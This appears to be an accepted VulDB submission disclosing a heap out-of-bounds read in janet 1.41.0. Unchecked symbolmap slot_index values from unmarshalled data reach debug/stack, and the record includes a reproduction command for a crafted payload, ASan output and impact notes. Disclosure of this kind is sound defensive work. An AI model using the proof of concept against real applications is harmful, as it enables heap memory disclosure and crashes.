제출 #825072: janet-lang janet 1.41.0 Out-of-Bounds Read

Heap OOB read in debug/stack via crafted symbolmap slot_index in unmarshalled fiber

debug.c:353 reads stack[jsm.slot_index] without bounds checking against
def->slotcount. The symbolmap is populated from attacker-controlled marshal
data (marsh.c:985: slot_index = readint()), with no validation that
slot_index < slotcount. When debug/stack inspects a fiber containing a
crafted function definition, the unchecked index reads past the stack frame
allocation into adjacent heap memory.

- Version: 1.41.0 (commit 5b5844b4)

Root cause (debug.c):
```c
/* line 353 — slot_index from symbolmap used without bounds check */
} else if (pc >= jsm.birth_pc && pc < jsm.death_pc) {
value = stack[jsm.slot_index]; /* OOB if slot_index >= slotcount */
}

/* marsh.c:985 — slot_index read from untrusted serialized data */
def->symbolmap[i].slot_index = (uint32_t) readint(st, &data);
/* No validation: slot_index could be any uint32_t value */
```

### Proof-of-Concept

Crafted marshal payload attached
- Build with sanitizers

Run:
```bash
./build/janet -e '(debug/stack (unmarshal (slurp "poc_debug_oob_read.bin") load-image-dict))'
```

### Sanitizer output:

$ ./build/janet -e '(debug/stack (unmarshal (slurp "poc_debug_oob_read.bin") load-image-dict))' 2>&1
```bash
=================================================================
==211255==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xee02db5e6320 at pc 0xbc917b3493ac bp 0xffffe41d5870 sp 0xffffe41d5860
READ of size 8 at 0xee02db5e6320 thread T0
#0 0xbc917b3493a8 in doframe src/core/debug.c:353
#1 0xbc917b3493a8 in cfun_debug_stack src/core/debug.c:386
#2 0xbc917b37f068 in run_vm src/core/vm.c:1061
#3 0xbc917b370f10 in janet_continue_no_check src/core/vm.c:1579
#4 0xbc917b3a65b8 in janet_loop1 src/core/ev.c:1541
#5 0xbc917b3a737c in janet_loop src/core/ev.c:1611
#6 0xbc917b3a82d0 in janet_loop_fiber src/core/run.c:150
#7 0xbc917b273928 in main build/c/shell.c:1284
#8 0xf112dc752598 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#9 0xf112dc752678 in __libc_start_main_impl ../csu/libc-start.c:360
#10 0xbc917b273b2c in _start (/home/roo/Desktop/janet/janet/build/janet+0x1c3b2c) (BuildId: 94f3bed52d07fc633f5ab2d3fcd238febe1895e4)

0xee02db5e6320 is located 664 bytes after 168-byte region [0xee02db5e5fe0,0xee02db5e6088)
allocated by thread T0 here:
#0 0xf112dd16a578 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
#1 0xbc917b35e548 in unmarshal_one_fiber src/core/marsh.c:1115
#2 0xbc917b35e548 in unmarshal_one src/core/marsh.c:1409
#3 0xbc917b36abdc in janet_unmarshal src/core/marsh.c:1649
#4 0xbc917b37f068 in run_vm src/core/vm.c:1061
#5 0xbc917b370f10 in janet_continue_no_check src/core/vm.c:1579
#6 0xbc917b3a65b8 in janet_loop1 src/core/ev.c:1541
#7 0xbc917b3a737c in janet_loop src/core/ev.c:1611
#8 0xbc917b3a82d0 in janet_loop_fiber src/core/run.c:150
#9 0xbc917b273928 in main build/c/shell.c:1284
#10 0xf112dc752598 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#11 0xf112dc752678 in __libc_start_main_impl ../csu/libc-start.c:360
#12 0xbc917b273b2c in _start (/home/roo/Desktop/janet/janet/build/janet+0x1c3b2c) (BuildId: 94f3bed52d07fc633f5ab2d3fcd238febe1895e4)

SUMMARY: AddressSanitizer: heap-buffer-overflow src/core/debug.c:353 in doframe
Shadow bytes around the buggy address:
0xee02db5e6080: 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xee02db5e6100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xee02db5e6180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xee02db5e6200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xee02db5e6280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0xee02db5e6300: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa
0xee02db5e6380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xee02db5e6400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xee02db5e6480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xee02db5e6500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xee02db5e6580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==211255==ABORTING
```

Impact:
- Information disclosure — reads arbitrary heap memory adjacent to the
fiber's stack allocation; the read value is returned in the debug/stack
result table under the :locals key
- DoS — may crash if reading unmapped memory
- Reachable from any application that unmarshals untrusted data AND
inspects the resulting fiber via debug/stack (e.g., error handlers)

reference: https://github.com/janet-lang/janet/issues/1743

• 원천: ⚠️ https://github.com/biniamf/pocs/tree/main/janet-debug-janet-doframe-env-data-oobread
• 사용자: biniam (UID 94731)
• 제출: 2026. 05. 10. PM 09:27 (25 날 ago)
• 모더레이션: 2026. 05. 31. PM 04:06 (21 days later)
• 상태: 수락
• VulDB 항목: 367546 [janet-lang janet 까지 1.41.0 src/core/debug.c doframe 정보 공개]
• 포인트들: 20